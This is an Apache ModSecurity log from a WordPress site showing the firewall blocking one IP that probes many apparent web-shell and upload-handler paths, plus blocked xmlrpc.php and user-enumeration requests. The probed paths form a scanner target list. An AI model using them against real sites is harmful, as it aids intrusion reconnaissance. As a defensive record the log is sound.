[Wed Jan 07 01:56:20.220679 2026] [:error] [pid 45959:tid 45978] [client 20.239.71.136:11528] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/en/gastenboek.php"] [unique_id "aV1MxFajdn8P3hjgMYxkEwAAAVA"]
[Wed Jan 07 01:56:21.264926 2026] [:error] [pid 45012:tid 45023] [client 20.239.71.136:11558] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/third_party/kcfinder/upload.php"] [unique_id "aV1MxRaMAxCuju1d0uZrEgAAAMk"]
[Wed Jan 07 01:56:22.687102 2026] [:error] [pid 44904:tid 44951] [client 20.239.71.136:30034] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/third_party/kcfinder/upload.php"] [unique_id "aV1MxjtieuI1BJEZcveNrgAAAEo"]
[Wed Jan 07 01:56:23.266789 2026] [:error] [pid 45959:tid 45979] [client 20.239.71.136:1538] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/third_party/kcfinder/upload.php"] [unique_id "aV1Mx1ajdn8P3hjgMYxkHwAAAVE"]
[Wed Jan 07 01:56:24.285579 2026] [:error] [pid 45959:tid 45968] [client 20.239.71.136:23062] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/third_party/kcfinder/upload.php"] [unique_id "aV1MyFajdn8P3hjgMYxkIgAAAUY"]
[Wed Jan 07 01:56:24.904290 2026] [:error] [pid 44905:tid 44976] [client 20.239.71.136:24463] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock11.php"] [unique_id "aV1MyLu7ufwWVst9EAtElgAAAIg"]
[Wed Jan 07 01:56:26.794887 2026] [:error] [pid 35140:tid 35165] [client 20.239.71.136:12347] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock11.php"] [unique_id "aV1MynoQaIDFMbT-XMwo6gAAARc"]
[Wed Jan 07 01:56:27.809863 2026] [:error] [pid 44904:tid 44963] [client 20.239.71.136:24133] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock11.php"] [unique_id "aV1MyztieuI1BJEZcveNuAAAAFY"]
[Wed Jan 07 01:56:28.500633 2026] [:error] [pid 44903:tid 44916] [client 20.239.71.136:23091] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock11.php"] [unique_id "aV1MzNhHqjs38zbkQPBy5QAAAAk"]
[Wed Jan 07 01:56:29.487675 2026] [:error] [pid 35140:tid 35154] [client 20.239.71.136:1537] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/api137.php"] [unique_id "aV1MzXoQaIDFMbT-XMwo8gAAAQw"]
[Wed Jan 07 01:56:30.596225 2026] [:error] [pid 44903:tid 44907] [client 20.239.71.136:15887] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/api137.php"] [unique_id "aV1MzthHqjs38zbkQPBy5wAAAAA"]
[Wed Jan 07 01:56:31.461627 2026] [:error] [pid 45012:tid 45024] [client 20.239.71.136:1564] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/api137.php"] [unique_id "aV1MzxaMAxCuju1d0uZrKgAAAMo"]
[Wed Jan 07 01:56:32.086310 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:6009] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/api137.php"] [unique_id "aV1M0Fajdn8P3hjgMYxkKwAAAU4"]
[Wed Jan 07 01:56:33.714648 2026] [:error] [pid 44904:tid 44960] [client 20.239.71.136:30048] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aV1M0TtieuI1BJEZcveNwgAAAFM"]
[Wed Jan 07 01:56:35.188519 2026] [:error] [pid 45012:tid 45031] [client 20.239.71.136:20837] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aV1M0xaMAxCuju1d0uZrLgAAANE"]
[Wed Jan 07 01:56:36.076375 2026] [:error] [pid 45959:tid 45965] [client 20.239.71.136:24057] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aV1M1Fajdn8P3hjgMYxkMQAAAUM"]
[Wed Jan 07 01:56:37.052181 2026] [:error] [pid 44903:tid 44910] [client 20.239.71.136:11536] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aV1M1dhHqjs38zbkQPBy7wAAAAM"]
[Wed Jan 07 01:56:38.491485 2026] [:error] [pid 45959:tid 45986] [client 20.239.71.136:12303] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp670.php"] [unique_id "aV1M1lajdn8P3hjgMYxkNAAAAVg"]
[Wed Jan 07 01:56:39.855720 2026] [:error] [pid 45012:tid 45028] [client 20.239.71.136:13970] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp670.php"] [unique_id "aV1M1xaMAxCuju1d0uZrNAAAAM4"]
[Wed Jan 07 01:58:08.343242 2026] [:error] [pid 45012:tid 45020] [client 20.239.71.136:12094] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/site/wp-class.php"] [unique_id "aV1NMBaMAxCuju1d0uZsCAAAAMY"]
[Wed Jan 07 01:58:09.941360 2026] [:error] [pid 44905:tid 44971] [client 20.239.71.136:12913] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/site/wp-class.php"] [unique_id "aV1NMbu7ufwWVst9EAtFLgAAAIM"]
[Wed Jan 07 01:58:10.581505 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:13260] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/site/wp-class.php"] [unique_id "aV1NMlajdn8P3hjgMYxlawAAAU4"]
[Wed Jan 07 01:58:11.228460 2026] [:error] [pid 45959:tid 45975] [client 20.239.71.136:1252] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/site/wp-class.php"] [unique_id "aV1NM1ajdn8P3hjgMYxlbgAAAU0"]
[Wed Jan 07 01:58:11.740977 2026] [:error] [pid 44904:tid 44956] [client 20.239.71.136:22950] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/video.php"] [unique_id "aV1NMztieuI1BJEZcveOUwAAAE8"]
[Wed Jan 07 01:58:13.069764 2026] [:error] [pid 35140:tid 35152] [client 20.239.71.136:20150] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/video.php"] [unique_id "aV1NNXoQaIDFMbT-XMwpmgAAAQo"]
[Wed Jan 07 01:58:14.180039 2026] [:error] [pid 45959:tid 45963] [client 20.239.71.136:45591] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/video.php"] [unique_id "aV1NNlajdn8P3hjgMYxlcwAAAUE"]
[Wed Jan 07 01:58:16.257177 2026] [:error] [pid 45959:tid 45986] [client 20.239.71.136:1274] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/video.php"] [unique_id "aV1NOFajdn8P3hjgMYxleAAAAVg"]
[Wed Jan 07 01:58:17.961939 2026] [:error] [pid 45959:tid 45979] [client 20.239.71.136:17815] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scgi-bin.php"] [unique_id "aV1NOVajdn8P3hjgMYxlewAAAVE"]
[Wed Jan 07 01:58:19.959103 2026] [:error] [pid 35140:tid 35163] [client 20.239.71.136:13290] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scgi-bin.php"] [unique_id "aV1NO3oQaIDFMbT-XMwpngAAARU"]
[Wed Jan 07 01:58:20.930581 2026] [:error] [pid 44905:tid 44973] [client 20.239.71.136:20127] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scgi-bin.php"] [unique_id "aV1NPLu7ufwWVst9EAtFOAAAAIU"]
[Wed Jan 07 01:58:22.396302 2026] [:error] [pid 44905:tid 44991] [client 20.239.71.136:1972] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scgi-bin.php"] [unique_id "aV1NPru7ufwWVst9EAtFOwAAAJc"]
[Wed Jan 07 01:58:24.392988 2026] [:error] [pid 44905:tid 44974] [client 20.239.71.136:22949] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finest09.php"] [unique_id "aV1NQLu7ufwWVst9EAtFPgAAAIY"]
[Wed Jan 07 01:58:25.165980 2026] [:error] [pid 44905:tid 44992] [client 20.239.71.136:20129] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finest09.php"] [unique_id "aV1NQbu7ufwWVst9EAtFQQAAAJg"]
[Wed Jan 07 01:58:26.205200 2026] [:error] [pid 45959:tid 45979] [client 20.239.71.136:47120] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finest09.php"] [unique_id "aV1NQlajdn8P3hjgMYxlhgAAAVE"]
[Wed Jan 07 01:58:27.031325 2026] [:error] [pid 44903:tid 44919] [client 20.239.71.136:23798] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finest09.php"] [unique_id "aV1NQ9hHqjs38zbkQPBzoAAAAAw"]
[Wed Jan 07 01:58:29.241830 2026] [:error] [pid 44903:tid 44930] [client 20.239.71.136:13304] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1100.php"] [unique_id "aV1NRdhHqjs38zbkQPBzpQAAABY"]
[Wed Jan 07 01:58:29.927312 2026] [:error] [pid 44905:tid 44977] [client 20.239.71.136:24225] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1100.php"] [unique_id "aV1NRbu7ufwWVst9EAtFVgAAAIk"]
[Wed Jan 07 01:58:31.005941 2026] [:error] [pid 44905:tid 44981] [client 20.239.71.136:51888] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1100.php"] [unique_id "aV1NR7u7ufwWVst9EAtFYQAAAI0"]
[Wed Jan 07 01:58:32.618732 2026] [:error] [pid 44904:tid 44958] [client 20.239.71.136:3712] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1100.php"] [unique_id "aV1NSDtieuI1BJEZcveOqQAAAFE"]
[Wed Jan 07 01:58:34.206819 2026] [:error] [pid 45012:tid 45027] [client 20.239.71.136:13240] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iov.php"] [unique_id "aV1NShaMAxCuju1d0uZsPwAAAM0"]
[Wed Jan 07 01:58:34.786741 2026] [:error] [pid 44905:tid 44972] [client 20.239.71.136:45596] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iov.php"] [unique_id "aV1NSru7ufwWVst9EAtFbQAAAIQ"]
[Wed Jan 07 01:58:37.213089 2026] [:error] [pid 44904:tid 44947] [client 20.239.71.136:1210] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iov.php"] [unique_id "aV1NTTtieuI1BJEZcveOsgAAAEY"]
[Wed Jan 07 01:58:38.783903 2026] [:error] [pid 45012:tid 45025] [client 20.239.71.136:20123] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iov.php"] [unique_id "aV1NThaMAxCuju1d0uZsRQAAAMs"]
[Wed Jan 07 01:58:39.828231 2026] [:error] [pid 44904:tid 44945] [client 20.239.71.136:44317] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app/config.php"] [unique_id "aV1NTztieuI1BJEZcveOtQAAAEQ"]
[Wed Jan 07 01:58:40.739062 2026] [:error] [pid 44904:tid 44956] [client 20.239.71.136:45574] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app/config.php"] [unique_id "aV1NUDtieuI1BJEZcveOtwAAAE8"]
[Wed Jan 07 01:58:41.320931 2026] [:error] [pid 44905:tid 44977] [client 20.239.71.136:11656] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app/config.php"] [unique_id "aV1NUbu7ufwWVst9EAtFdgAAAIk"]
[Wed Jan 07 01:58:43.067546 2026] [:error] [pid 44905:tid 44987] [client 20.239.71.136:1205] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app/config.php"] [unique_id "aV1NU7u7ufwWVst9EAtFgAAAAJM"]
[Wed Jan 07 01:58:43.639869 2026] [:error] [pid 45012:tid 45021] [client 20.239.71.136:13270] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/ioxi-o.php"] [unique_id "aV1NUxaMAxCuju1d0uZsSgAAAMc"]
[Wed Jan 07 01:58:44.361032 2026] [:error] [pid 35140:tid 35162] [client 20.239.71.136:20128] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/ioxi-o.php"] [unique_id "aV1NVHoQaIDFMbT-XMwptQAAARQ"]
[Wed Jan 07 01:58:44.963500 2026] [:error] [pid 45959:tid 45986] [client 20.239.71.136:13255] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/ioxi-o.php"] [unique_id "aV1NVFajdn8P3hjgMYxlpgAAAVg"]
[Wed Jan 07 01:58:46.066090 2026] [:error] [pid 45959:tid 45976] [client 34.73.92.201:49738] [client 34.73.92.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.92.201, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV1NVlajdn8P3hjgMYxlqQAAAU4"]
[Wed Jan 07 01:58:47.383032 2026] [:error] [pid 44904:tid 44961] [client 20.239.71.136:13305] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/ioxi-o.php"] [unique_id "aV1NVztieuI1BJEZcveOxQAAAFQ"]
[Wed Jan 07 01:58:48.877186 2026] [:error] [pid 45959:tid 45972] [client 34.73.92.201:49738] [client 34.73.92.201] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aV1NWFajdn8P3hjgMYxlsAAAAUo"]
[Wed Jan 07 01:58:48.955963 2026] [:error] [pid 44903:tid 44908] [client 20.239.71.136:13220] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known.php"] [unique_id "aV1NWNhHqjs38zbkQPBzuwAAAAE"]
[Wed Jan 07 01:58:51.249915 2026] [:error] [pid 45959:tid 45983] [client 34.73.92.201:49738] [client 34.73.92.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.92.201, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV1NW1ajdn8P3hjgMYxluAAAAVU"]
